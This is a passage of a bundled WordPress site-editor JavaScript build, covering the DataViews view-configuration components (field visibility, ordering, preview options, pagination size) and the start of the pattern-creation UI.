42226 const newItemsPerPageNumber = typeof newItemsPerPage === "number" || newItemsPerPage === void 0 ? newItemsPerPage : parseInt(newItemsPerPage, 10);
42227 onChangeView({
42228 ...view,
42229 perPage: newItemsPerPageNumber,
42230 page: 1
42231 });
42232 },
42233 children: config.perPageSizes.map((value) => {
42234 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42235 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
42236 {
42237 value,
42238 label: value.toString()
42239 },
42240 value
42241 );
42242 })
42243 }
42244 );
42245}
42246function PreviewOptions({
42247 previewOptions,
42248 onChangePreviewOption,
42249 onMenuOpenChange,
42250 activeOption
42251}) {
42252 const focusPreviewOptionsField = (id) => {
42253 setTimeout(() => {
42254 const element = document.querySelector(
42255 `.dataviews-field-control__field-${id} .dataviews-field-control__field-preview-options-button`
42256 );
42257 if (element instanceof HTMLElement) {
42258 element.focus();
42259 }
42260 }, 50);
42261 };
42262 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, { onOpenChange: onMenuOpenChange, children: [
42263 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42264 dataviews_view_config_Menu.TriggerButton,
42265 {
42266 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42267 external_wp_components_namespaceObject.Button,
42268 {
42269 className: "dataviews-field-control__field-preview-options-button",
42270 size: "compact",
42271 icon: more_vertical_default,
42272 label: (0,external_wp_i18n_namespaceObject.__)("Preview")
42273 }
42274 )
42275 }
42276 ),
42277 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, { children: previewOptions?.map(({ id, label }) => {
42278 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42279 dataviews_view_config_Menu.RadioItem,
42280 {
42281 value: id,
42282 checked: id === activeOption,
42283 onChange: () => {
42284 onChangePreviewOption?.(id);
42285 focusPreviewOptionsField(id);
42286 },
42287 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, { children: label })
42288 },
42289 id
42290 );
42291 }) })
42292 ] });
42293}
42294function FieldItem({
42295 field,
42296 label,
42297 description,
42298 isVisible,
42299 isFirst,
42300 isLast,
42301 canMove = true,
42302 onToggleVisibility,
42303 onMoveUp,
42304 onMoveDown,
42305 previewOptions,
42306 onChangePreviewOption
42307}) {
42308 const [isChangingPreviewOption, setIsChangingPreviewOption] = (0,external_wp_element_.useState)(false);
42309 const focusVisibilityField = () => {
42310 setTimeout(() => {
42311 const element = document.querySelector(
42312 `.dataviews-field-control__field-${field.id} .dataviews-field-control__field-visibility-button`
42313 );
42314 if (element instanceof HTMLElement) {
42315 element.focus();
42316 }
42317 }, 50);
42318 };
42319 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42320 external_wp_components_namespaceObject.__experimentalHStack,
42321 {
42322 expanded: true,
42323 className: dist_clsx(
42324 "dataviews-field-control__field",
42325 `dataviews-field-control__field-${field.id}`,
42326 // The actions are hidden when the mouse is not hovering the item, or focus
42327 // is outside the item.
42328 // For actions that require a popover, a menu etc, that would mean that when the interactive element
42329 // opens and the focus goes there the actions would be hidden.
42330 // To avoid that we add a class to the item, that makes sure actions are visible while there is some
42331 // interaction with the item.
42332 { "is-interacting": isChangingPreviewOption }
42333 ),
42334 justify: "flex-start",
42335 children: [
42336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-field-control__icon", children: !canMove && !field.enableHiding && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: lock_default }) }),
42337 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "dataviews-field-control__label-sub-label-container", children: [
42338 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-field-control__label", children: label || field.label }),
42339 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-field-control__sub-label", children: description })
42340 ] }),
42341 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42342 external_wp_components_namespaceObject.__experimentalHStack,
42343 {
42344 justify: "flex-end",
42345 expanded: false,
42346 className: "dataviews-field-control__actions",
42347 children: [
42348 isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
42349 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42350 external_wp_components_namespaceObject.Button,
42351 {
42352 disabled: isFirst || !canMove,
42353 accessibleWhenDisabled: true,
42354 size: "compact",
42355 onClick: onMoveUp,
42356 icon: chevron_up_default,
42357 label: isFirst || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved up") : (0,external_wp_i18n_namespaceObject.sprintf)(
42358 /* translators: %s: field label */
42359 (0,external_wp_i18n_namespaceObject.__)("Move %s up"),
42360 field.label
42361 )
42362 }
42363 ),
42364 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42365 external_wp_components_namespaceObject.Button,
42366 {
42367 disabled: isLast || !canMove,
42368 accessibleWhenDisabled: true,
42369 size: "compact",
42370 onClick: onMoveDown,
42371 icon: chevron_down_default,
42372 label: isLast || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved down") : (0,external_wp_i18n_namespaceObject.sprintf)(
42373 /* translators: %s: field label */
42374 (0,external_wp_i18n_namespaceObject.__)("Move %s down"),
42375 field.label
42376 )
42377 }
42378 )
42379 ] }),
42380 onToggleVisibility && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42381 external_wp_components_namespaceObject.Button,
42382 {
42383 className: "dataviews-field-control__field-visibility-button",
42384 disabled: !field.enableHiding,
42385 accessibleWhenDisabled: true,
42386 size: "compact",
42387 onClick: () => {
42388 onToggleVisibility();
42389 focusVisibilityField();
42390 },
42391 icon: isVisible ? unseen_default : seen_default,
42392 label: isVisible ? (0,external_wp_i18n_namespaceObject.sprintf)(
42393 /* translators: %s: field label */
42394 (0,external_wp_i18n_namespaceObject._x)("Hide %s", "field"),
42395 field.label
42396 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
42397 /* translators: %s: field label */
42398 (0,external_wp_i18n_namespaceObject._x)("Show %s", "field"),
42399 field.label
42400 )
42401 }
42402 ),
42403 previewOptions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42404 PreviewOptions,
42405 {
42406 previewOptions,
42407 onChangePreviewOption,
42408 onMenuOpenChange: setIsChangingPreviewOption,
42409 activeOption: field.id
42410 }
42411 )
42412 ]
42413 }
42414 )
42415 ]
42416 }
42417 ) });
42418}
42419function RegularFieldItem({
42420 index,
42421 field,
42422 view,
42423 onChangeView
42424}) {
42425 const visibleFieldIds = view.fields ?? [];
42426 const isVisible = index !== void 0 && visibleFieldIds.includes(field.id);
42427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42428 FieldItem,
42429 {
42430 field,
42431 isVisible,
42432 isFirst: index !== void 0 && index < 1,
42433 isLast: index !== void 0 && index === visibleFieldIds.length - 1,
42434 onToggleVisibility: () => {
42435 onChangeView({
42436 ...view,
42437 fields: isVisible ? visibleFieldIds.filter(
42438 (fieldId) => fieldId !== field.id
42439 ) : [...visibleFieldIds, field.id]
42440 });
42441 },
42442 onMoveUp: index !== void 0 ? () => {
42443 onChangeView({
42444 ...view,
42445 fields: [
42446 ...visibleFieldIds.slice(
42447 0,
42448 index - 1
42449 ) ?? [],
42450 field.id,
42451 visibleFieldIds[index - 1],
42452 ...visibleFieldIds.slice(index + 1)
42453 ]
42454 });
42455 } : void 0,
42456 onMoveDown: index !== void 0 ? () => {
42457 onChangeView({
42458 ...view,
42459 fields: [
42460 ...visibleFieldIds.slice(0, index) ?? [],
42461 visibleFieldIds[index + 1],
42462 field.id,
42463 ...visibleFieldIds.slice(index + 2)
42464 ]
42465 });
42466 } : void 0
42467 }
42468 );
42469}
42470function dataviews_view_config_isDefined(item) {
42471 return !!item;
42472}
42473function FieldControl() {
42474 const { view, fields, onChangeView } = (0,external_wp_element_.useContext)(dataviews_context_default);
42475 const togglableFields = [
42476 view?.titleField,
42477 view?.mediaField,
42478 view?.descriptionField
42479 ].filter(Boolean);
42480 const visibleFieldIds = view.fields ?? [];
42481 const hiddenFields = fields.filter(
42482 (f) => !visibleFieldIds.includes(f.id) && !togglableFields.includes(f.id) && f.type !== "media" && f.enableHiding !== false
42483 );
42484 let visibleFields = visibleFieldIds.map((fieldId) => fields.find((f) => f.id === fieldId)).filter(dataviews_view_config_isDefined);
42485 if (!visibleFields?.length && !hiddenFields?.length) {
42486 return null;
42487 }
42488 const titleField = fields.find((f) => f.id === view.titleField);
42489 const previewField = fields.find((f) => f.id === view.mediaField);
42490 const descriptionField = fields.find(
42491 (f) => f.id === view.descriptionField
42492 );
42493 const previewFields = fields.filter((f) => f.type === "media");
42494 let previewFieldUI;
42495 if (previewFields.length > 1) {
42496 const isPreviewFieldVisible = dataviews_view_config_isDefined(previewField) && (view.showMedia ?? true);
42497 previewFieldUI = dataviews_view_config_isDefined(previewField) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42498 FieldItem,
42499 {
42500 field: previewField,
42501 label: (0,external_wp_i18n_namespaceObject.__)("Preview"),
42502 description: previewField.label,
42503 isVisible: isPreviewFieldVisible,
42504 onToggleVisibility: () => {
42505 onChangeView({
42506 ...view,
42507 showMedia: !isPreviewFieldVisible
42508 });
42509 },
42510 canMove: false,
42511 previewOptions: previewFields.map((field) => ({
42512 label: field.label,
42513 id: field.id
42514 })),
42515 onChangePreviewOption: (newPreviewId) => onChangeView({ ...view, mediaField: newPreviewId })
42516 },
42517 previewField.id
42518 );
42519 }
42520 const lockedFields = [
42521 {
42522 field: titleField,
42523 isVisibleFlag: "showTitle"
42524 },
42525 {
42526 field: previewField,
42527 isVisibleFlag: "showMedia",
42528 ui: previewFieldUI
42529 },
42530 {
42531 field: descriptionField,
42532 isVisibleFlag: "showDescription"
42533 }
42534 ].filter(({ field }) => dataviews_view_config_isDefined(field));
42535 let visibleLockedFields = lockedFields.filter(
42536 ({ field, isVisibleFlag }) => (
42537 // @ts-expect-error
42538 dataviews_view_config_isDefined(field) && (view[isVisibleFlag] ?? true)
42539 )
42540 );
42541 if (visibleLockedFields.length === 1) {
42542 visibleLockedFields = visibleLockedFields.map((locked) => ({
42543 ...locked,
42544 field: { ...locked.field, enableHiding: false }
42545 }));
42546 }
42547 if (visibleLockedFields.length === 0 && visibleFields.length === 1) {
42548 visibleFields = [{ ...visibleFields[0], enableHiding: false }];
42549 }
42550 const hiddenLockedFields = lockedFields.filter(
42551 ({ field, isVisibleFlag }) => (
42552 // @ts-expect-error
42553 dataviews_view_config_isDefined(field) && !(view[isVisibleFlag] ?? true)
42554 )
42555 );
42556 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataviews-field-control", spacing: 6, children: [
42557 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataviews-view-config__properties", spacing: 0, children: (visibleLockedFields.length > 0 || !!visibleFields?.length) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: [
42558 visibleLockedFields.map(
42559 ({ field, isVisibleFlag, ui }) => {
42560 return ui ?? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42561 FieldItem,
42562 {
42563 field,
42564 isVisible: true,
42565 onToggleVisibility: () => {
42566 onChangeView({
42567 ...view,
42568 [isVisibleFlag]: false
42569 });
42570 },
42571 canMove: false
42572 },
42573 field.id
42574 );
42575 }
42576 ),
42577 visibleFields.map((field, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42578 RegularFieldItem,
42579 {
42580 field,
42581 view,
42582 onChangeView,
42583 index
42584 },
42585 field.id
42586 ))
42587 ] }) }),
42588 (!!hiddenFields?.length || !!hiddenLockedFields.length) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
42589 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { style: { margin: 0 }, children: (0,external_wp_i18n_namespaceObject.__)("Hidden") }),
42590 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42591 external_wp_components_namespaceObject.__experimentalVStack,
42592 {
42593 className: "dataviews-view-config__properties",
42594 spacing: 0,
42595 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: [
42596 hiddenLockedFields.length > 0 && hiddenLockedFields.map(
42597 ({ field, isVisibleFlag, ui }) => {
42598 return ui ?? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42599 FieldItem,
42600 {
42601 field,
42602 isVisible: false,
42603 onToggleVisibility: () => {
42604 onChangeView({
42605 ...view,
42606 [isVisibleFlag]: true
42607 });
42608 },
42609 canMove: false
42610 },
42611 field.id
42612 );
42613 }
42614 ),
42615 hiddenFields.map((field) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42616 RegularFieldItem,
42617 {
42618 field,
42619 view,
42620 onChangeView
42621 },
42622 field.id
42623 ))
42624 ] })
42625 }
42626 )
42627 ] })
42628 ] });
42629}
42630function SettingsSection({
42631 title,
42632 description,
42633 children
42634}) {
42635 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, { columns: 12, className: "dataviews-settings-section", gap: 4, children: [
42636 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "dataviews-settings-section__sidebar", children: [
42637 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42638 external_wp_components_namespaceObject.__experimentalHeading,
42639 {
42640 level: 2,
42641 className: "dataviews-settings-section__title",
42642 children: title
42643 }
42644 ),
42645 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42646 external_wp_components_namespaceObject.__experimentalText,
42647 {
42648 variant: "muted",
42649 className: "dataviews-settings-section__description",
42650 children: description
42651 }
42652 )
42653 ] }),
42654 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42655 external_wp_components_namespaceObject.__experimentalGrid,
42656 {
42657 columns: 8,
42658 gap: 4,
42659 className: "dataviews-settings-section__content",
42660 children
42661 }
42662 )
42663 ] });
42664}
42665function DataviewsViewConfigDropdown() {
42666 const { view } = (0,external_wp_element_.useContext)(dataviews_context_default);
42667 const popoverId = (0,external_wp_compose_namespaceObject.useInstanceId)(
42668 _DataViewsViewConfig,
42669 "dataviews-view-config-dropdown"
42670 );
42671 const activeLayout = VIEW_LAYOUTS.find(
42672 (layout) => layout.type === view.type
42673 );
42674 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42675 external_wp_components_namespaceObject.Dropdown,
42676 {
42677 expandOnMobile: true,
42678 popoverProps: {
42679 ...DATAVIEWS_CONFIG_POPOVER_PROPS,
42680 id: popoverId
42681 },
42682 renderToggle: ({ onToggle, isOpen }) => {
42683 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42684 external_wp_components_namespaceObject.Button,
42685 {
42686 size: "compact",
42687 icon: cog_default,
42688 label: (0,external_wp_i18n_namespaceObject._x)("View options", "View is used as a noun"),
42689 onClick: onToggle,
42690 "aria-expanded": isOpen ? "true" : "false",
42691 "aria-controls": popoverId
42692 }
42693 );
42694 },
42695 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42696 external_wp_components_namespaceObject.__experimentalDropdownContentWrapper,
42697 {
42698 paddingSize: "medium",
42699 className: "dataviews-config__popover-content-wrapper",
42700 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataviews-view-config", spacing: 6, children: [
42701 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(SettingsSection, { title: (0,external_wp_i18n_namespaceObject.__)("Appearance"), children: [
42702 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: true, className: "is-divided-in-two", children: [
42703 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SortFieldControl, {}),
42704 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SortDirectionControl, {})
42705 ] }),
42706 !!activeLayout?.viewConfigOptions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(activeLayout.viewConfigOptions, {}),
42707 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InfiniteScrollToggle, {}),
42708 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemsPerPageControl, {})
42709 ] }),
42710 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SettingsSection, { title: (0,external_wp_i18n_namespaceObject.__)("Properties"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldControl, {}) })
42711 ] })
42712 }
42713 )
42714 }
42715 );
42716}
42717function _DataViewsViewConfig() {
42718 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
42719 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewTypeMenu, {}),
42720 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsViewConfigDropdown, {})
42721 ] });
42722}
42723const DataViewsViewConfig = (0,external_wp_element_.memo)(_DataViewsViewConfig);
42724var dataviews_view_config_default = DataViewsViewConfig;
42725
42726
42727;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews/index.js
42728
42729
42730
42731
42732
42733
42734
42735
42736
42737
42738
42739
42740
42741
42742const defaultGetItemId = (item) => item.id;
42743const defaultIsItemClickable = () => true;
42744const dataviews_EMPTY_ARRAY = [];
42745const dataViewsLayouts = VIEW_LAYOUTS.filter(
42746 (viewLayout) => !viewLayout.isPicker
42747);
42748function DefaultUI({
42749 header,
42750 search = true,
42751 searchLabel = void 0
42752}) {
42753 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
42754 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42755 external_wp_components_namespaceObject.__experimentalHStack,
42756 {
42757 alignment: "top",
42758 justify: "space-between",
42759 className: "dataviews__view-actions",
42760 spacing: 1,
42761 children: [
42762 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42763 external_wp_components_namespaceObject.__experimentalHStack,
42764 {
42765 justify: "start",
42766 expanded: false,
42767 className: "dataviews__search",
42768 children: [
42769 search && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_search_default, { label: searchLabel }),
42770 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(toggle_default, {})
42771 ]
42772 }
42773 ),
42774 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42775 external_wp_components_namespaceObject.__experimentalHStack,
42776 {
42777 spacing: 1,
42778 expanded: false,
42779 style: { flexShrink: 0 },
42780 children: [
42781 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_default, {}),
42782 header
42783 ]
42784 }
42785 )
42786 ]
42787 }
42788 ),
42789 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(filters_toggled_default, { className: "dataviews-filters__container" }),
42790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsLayout, {}),
42791 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsFooter, {})
42792 ] });
42793}
42794function DataViews({
42795 view,
42796 onChangeView,
42797 fields,
42798 search = true,
42799 searchLabel = void 0,
42800 actions = dataviews_EMPTY_ARRAY,
42801 data,
42802 getItemId = defaultGetItemId,
42803 getItemLevel,
42804 isLoading = false,
42805 paginationInfo,
42806 defaultLayouts: defaultLayoutsProperty,
42807 selection: selectionProperty,
42808 onChangeSelection,
42809 onClickItem,
42810 renderItemLink,
42811 isItemClickable = defaultIsItemClickable,
42812 header,
42813 children,
42814 config = { perPageSizes: [10, 20, 50, 100] },
42815 empty
42816}) {
42817 const { infiniteScrollHandler } = paginationInfo;
42818 const containerRef = (0,external_wp_element_.useRef)(null);
42819 const [containerWidth, setContainerWidth] = (0,external_wp_element_.useState)(0);
42820 const resizeObserverRef = (0,external_wp_compose_namespaceObject.useResizeObserver)(
42821 (resizeObserverEntries) => {
42822 setContainerWidth(
42823 resizeObserverEntries[0].borderBoxSize[0].inlineSize
42824 );
42825 },
42826 { box: "border-box" }
42827 );
42828 const [selectionState, setSelectionState] = (0,external_wp_element_.useState)([]);
42829 const isUncontrolled = selectionProperty === void 0 || onChangeSelection === void 0;
42830 const selection = isUncontrolled ? selectionState : selectionProperty;
42831 const [openedFilter, setOpenedFilter] = (0,external_wp_element_.useState)(null);
42832 function setSelectionWithChange(value) {
42833 const newValue = typeof value === "function" ? value(selection) : value;
42834 if (isUncontrolled) {
42835 setSelectionState(newValue);
42836 }
42837 if (onChangeSelection) {
42838 onChangeSelection(newValue);
42839 }
42840 }
42841 const _fields = (0,external_wp_element_.useMemo)(() => normalizeFields(fields), [fields]);
42842 const _selection = (0,external_wp_element_.useMemo)(() => {
42843 return selection.filter(
42844 (id) => data.some((item) => getItemId(item) === id)
42845 );
42846 }, [selection, data, getItemId]);
42847 const filters = use_filters_default(_fields, view);
42848 const hasPrimaryOrLockedFilters = (0,external_wp_element_.useMemo)(
42849 () => (filters || []).some(
42850 (filter) => filter.isPrimary || filter.isLocked
42851 ),
42852 [filters]
42853 );
42854 const [isShowingFilter, setIsShowingFilter] = (0,external_wp_element_.useState)(
42855 hasPrimaryOrLockedFilters
42856 );
42857 (0,external_wp_element_.useEffect)(() => {
42858 if (hasPrimaryOrLockedFilters && !isShowingFilter) {
42859 setIsShowingFilter(true);
42860 }
42861 }, [hasPrimaryOrLockedFilters, isShowingFilter]);
42862 (0,external_wp_element_.useEffect)(() => {
42863 if (!view.infiniteScrollEnabled || !containerRef.current) {
42864 return;
42865 }
42866 const handleScroll = (0,external_wp_compose_namespaceObject.throttle)((event) => {
42867 const target = event.target;
42868 const scrollTop = target.scrollTop;
42869 const scrollHeight = target.scrollHeight;
42870 const clientHeight = target.clientHeight;
42871 if (scrollTop + clientHeight >= scrollHeight - 100) {
42872 infiniteScrollHandler?.();
42873 }
42874 }, 100);
42875 const container = containerRef.current;
42876 container.addEventListener("scroll", handleScroll);
42877 return () => {
42878 container.removeEventListener("scroll", handleScroll);
42879 handleScroll.cancel();
42880 };
42881 }, [infiniteScrollHandler, view.infiniteScrollEnabled]);
42882 const defaultLayouts = (0,external_wp_element_.useMemo)(
42883 () => Object.fromEntries(
42884 Object.entries(defaultLayoutsProperty).filter(
42885 ([layoutType]) => {
42886 return dataViewsLayouts.some(
42887 (viewLayout) => viewLayout.type === layoutType
42888 );
42889 }
42890 )
42891 ),
42892 [defaultLayoutsProperty]
42893 );
42894 if (!defaultLayouts[view.type]) {
42895 return null;
42896 }
42897 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42898 dataviews_context_default.Provider,
42899 {
42900 value: {
42901 view,
42902 onChangeView,
42903 fields: _fields,
42904 actions,
42905 data,
42906 isLoading,
42907 paginationInfo,
42908 selection: _selection,
42909 onChangeSelection: setSelectionWithChange,
42910 openedFilter,
42911 setOpenedFilter,
42912 getItemId,
42913 getItemLevel,
42914 isItemClickable,
42915 onClickItem,
42916 renderItemLink,
42917 containerWidth,
42918 containerRef,
42919 resizeObserverRef,
42920 defaultLayouts,
42921 filters,
42922 isShowingFilter,
42923 setIsShowingFilter,
42924 config,
42925 empty,
42926 hasInfiniteScrollHandler: !!infiniteScrollHandler
42927 },
42928 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-wrapper", ref: containerRef, children: children ?? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42929 DefaultUI,
42930 {
42931 header,
42932 search,
42933 searchLabel
42934 }
42935 ) })
42936 }
42937 );
42938}
42939const DataViewsSubComponents = DataViews;
42940DataViewsSubComponents.BulkActionToolbar = BulkActionsFooter;
42941DataViewsSubComponents.Filters = filters_default;
42942DataViewsSubComponents.FiltersToggled = filters_toggled_default;
42943DataViewsSubComponents.FiltersToggle = toggle_default;
42944DataViewsSubComponents.Layout = DataViewsLayout;
42945DataViewsSubComponents.LayoutSwitcher = ViewTypeMenu;
42946DataViewsSubComponents.Pagination = dataviews_pagination_DataViewsPagination;
42947DataViewsSubComponents.Search = dataviews_search_default;
42948DataViewsSubComponents.ViewConfig = DataviewsViewConfigDropdown;
42949DataViewsSubComponents.Footer = DataViewsFooter;
42950var dataviews_default = DataViewsSubComponents;
42951
42952
42953// EXTERNAL MODULE: ./node_modules/@wordpress/views/build-module/index.js + 4 modules
42954var build_module = __webpack_require__(7951);
42955;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-pattern-settings.js
42956
42957
42958
42959
42960
42961
42962function usePatternSettings() {
42963 const storedSettings = (0,external_wp_data_.useSelect)((select) => {
42964 const { getSettings } = unlock(select(store));
42965 return getSettings();
42966 }, []);
42967 const settingsBlockPatterns = storedSettings.__experimentalAdditionalBlockPatterns ?? // WP 6.0
42968 storedSettings.__experimentalBlockPatterns;
42969 const restBlockPatterns = (0,external_wp_data_.useSelect)(
42970 (select) => select(external_wp_coreData_namespaceObject.store).getBlockPatterns(),
42971 []
42972 );
42973 const blockPatterns = (0,external_wp_element_.useMemo)(
42974 () => [
42975 ...settingsBlockPatterns || [],
42976 ...restBlockPatterns || []
42977 ].filter(filterOutDuplicatesByName),
42978 [settingsBlockPatterns, restBlockPatterns]
42979 );
42980 const settings = (0,external_wp_element_.useMemo)(() => {
42981 const { __experimentalAdditionalBlockPatterns, ...restStoredSettings } = storedSettings;
42982 return {
42983 ...restStoredSettings,
42984 __experimentalBlockPatterns: blockPatterns,
42985 isPreviewMode: true
42986 };
42987 }, [storedSettings, blockPatterns]);
42988 return settings;
42989}
42990
42991
42992;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
42993
42994
42995var symbol_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
42996
42997
42998;// ./node_modules/@wordpress/icons/build-module/library/upload.js
42999
43000
43001var upload_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
43002
43003
43004;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-pattern/index.js
43005
43006
43007
43008
43009
43010
43011
43012
43013
43014
43015
43016
43017
43018const { useHistory: add_new_pattern_useHistory, useLocation: add_new_pattern_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
43019const { CreatePatternModal, useAddPatternCategory } = unlock(
43020 external_wp_patterns_namespaceObject.privateApis
43021);
43022const { CreateTemplatePartModal } = unlock(external_wp_editor_namespaceObject.privateApis);
43023function AddNewPattern() {
43024 const history = add_new_pattern_useHistory();
43025 const location = add_new_pattern_useLocation();
43026 const [showPatternModal, setShowPatternModal] = (0,external_wp_element_.useState)(false);
43027 const [showTemplatePartModal, setShowTemplatePartModal] = (0,external_wp_element_.useState)(false);
43028 const { createPatternFromFile } = unlock((0,external_wp_data_.useDispatch)(external_wp_patterns_namespaceObject.store));
